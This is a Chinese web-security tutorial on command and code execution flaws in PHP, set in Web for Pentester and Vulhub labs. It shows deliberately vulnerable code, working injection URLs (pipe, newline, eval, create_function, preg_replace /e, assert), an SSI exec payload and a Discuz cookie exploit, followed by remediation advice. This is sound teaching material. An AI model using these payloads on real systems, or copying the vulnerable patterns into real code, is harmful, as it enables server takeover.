[红日安全]Web安全Day13 - 命令执行实战攻防
字数 1768 2025-08-18 11:39:23
Web安全实战:命令执行与代码执行漏洞详解
1. 命令执行与代码执行概述
1.1 命令执行漏洞原理
在操作系统中,&、&&、|、||等符号都可以作为命令连接符使用。当用户通过浏览器提交执行命令,而服务器端没有针对执行函数做过滤时,就会导致在没有指定绝对路径的情况下执行任意命令。
1.2 代码执行漏洞原理
当应用需要调用一些执行系统命令的函数(如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等),且用户能控制这些函数中的参数时,攻击者可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。
1.3 两者区别
- 命令执行漏洞:直接调用操作系统命令
- 代码执行漏洞:通过执行脚本代码间接调用操作系统命令
1.4 漏洞危害
- 执行任意代码或系统命令
- 读写服务器文件
- 反弹shell获取服务器控制权
- 进一步内网渗透
2. 漏洞测试与利用
2.1 靶机测试环境搭建
使用Web for Pentester进行测试:
- 下载地址:https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso
- 使用VMware安装镜像文件
- 新建虚拟机,选择镜像文件
- 设置虚拟机名称和存放位置
- 磁盘大小默认即可
- 启动虚拟机并查看IP地址
2.2 命令注入示例
示例1:无过滤直接注入
漏洞代码:
<?php system("ping -c 2 ".$_GET['ip']);?>
利用方式:
http://192.168.245.131/commandexec/example1.php?ip=127.0.0.1| whoami
示例2:使用/m修饰符的过滤绕过
漏洞代码:
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
利用方式(使用换行符%0a绕过):
http://192.168.245.131/commandexec/example2.php?ip=127.0.0.1%0awhoami
示例3:重定向限制绕过
漏洞代码:
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET['ip']);
?>
利用方式:抓包修改请求,直接执行命令
2.3 代码注入示例
示例1:未过滤直接注入
漏洞代码:
<?php
$str="echo \"Hello ".$_GET['name']."\";";
eval($str);
?>
利用方式(闭合语句并注入):
http://192.168.245.131/codeexec/example1.php?name=%22;phpinfo();//
示例2:create_function注入
漏洞代码:
<?php
class User{
public $id, $name, $age;
function __construct($id, $name, $age){
$this->name= $name;
$this->age = $age;
$this->id = $id;
}
}
require_once('../header.php');
require_once('../sqli/db.php');
$sql = "SELECT * FROM users ";
$order = $_GET["order"];
$result = mysql_query($sql);
if ($result) {
while ($row = mysql_fetch_assoc($result)) {
$users[] = new User($row['id'],$row['name'],$row['age']);
}
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}
}
?>
利用方式:
http://192.168.245.131/codeexec/example2.php?order=id);;}phpinfo();//
示例3:preg_replace的/e修饰符注入
漏洞代码:
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>
利用方式:
http://192.168.245.131/codeexec/example3.php?new=phpinfo()&pattern=/lamer/e&base=Hello%20lamer
示例4:assert函数注入
漏洞代码:
<?php
assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);
?>
利用方式:
http://192.168.245.131/codeexec/example4.php?name=%27.phpinfo();//
3. 实战演练
3.1 Vulhub环境搭建
-
安装docker:
sudo apt install docker.io -
安装docker-compose:
pip install docker-compose -
验证安装:
docker-compose -v -
下载vulhub:
git clone https://github.com/vulhub/vulhub.git -
添加国内镜像(可选):
- 修改/etc/docker/daemon.json:
{ "registry-mirrors": ["https://registry.docker-cn.com"] } - 重启服务:
service docker restart
- 修改/etc/docker/daemon.json:
3.2 Apache SSI远程命令执行漏洞
-
进入靶机环境:
cd httpd/ssi-rce/ docker-compose up -d -
访问Kali的IP:8080端口
-
上传构造的shtml文件:
<!--#exec cmd="whoami" --> -
访问上传的文件执行命令
3.3 Discuz 7.x/6.x全局变量防御绕过导致代码执行
-
进入靶机环境:
cd discuz/wooyun-2010-080723/ docker-compose up -d -
访问http://your-ip:8080/install/安装Discuz
- 数据库地址:db
- 数据库名:discuz
- 账号密码:root
-
访问任意帖子并抓包
-
替换Cookie:
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
4. 修复方案
4.1 命令执行修复方案
- 尽量少用或禁用执行命令的函数
- 参数值使用引号包括
- 使用动态函数前,确保函数是指定函数之一
- 执行命令前对参数进行过滤和转义
- 能用脚本完成的工作不要调用其他程序
- 对程序参数使用escapeshellcmd过滤,对参数值使用escapeshellarg过滤
- 参数值使用引号包裹,拼接前调用addslashes转义
- 及时更新第三方组件并修改默认配置
4.2 代码执行修复方案
- 使用JSON保存数组/对象而非PHP序列化字符串
- 必须使用eval时,严格控制输入参数:
- 使用单引号包裹代码
- 插入前进行addslashes转义
- 避免使用preg_replace的e修饰符,改用preg_replace_callback
- 确保register_globals=off
- 严格控制变量来源,初始化所有变量
- 监控文件写入函数(file_put_contents, fwrite等)
- 自动化检测时可使用
";print(md5(test));$a="等测试payload
5. 总结
命令执行和代码执行漏洞是Web安全中高危漏洞,攻击者可以利用这些漏洞直接控制系统。防御的关键在于:
- 严格控制用户输入
- 避免直接执行用户可控的代码或命令
- 使用安全的替代方案
- 保持系统和组件更新
- 实施严格的输入验证和输出编码
通过理解这些漏洞的原理、利用方式和防御措施,可以有效地提高Web应用的安全性。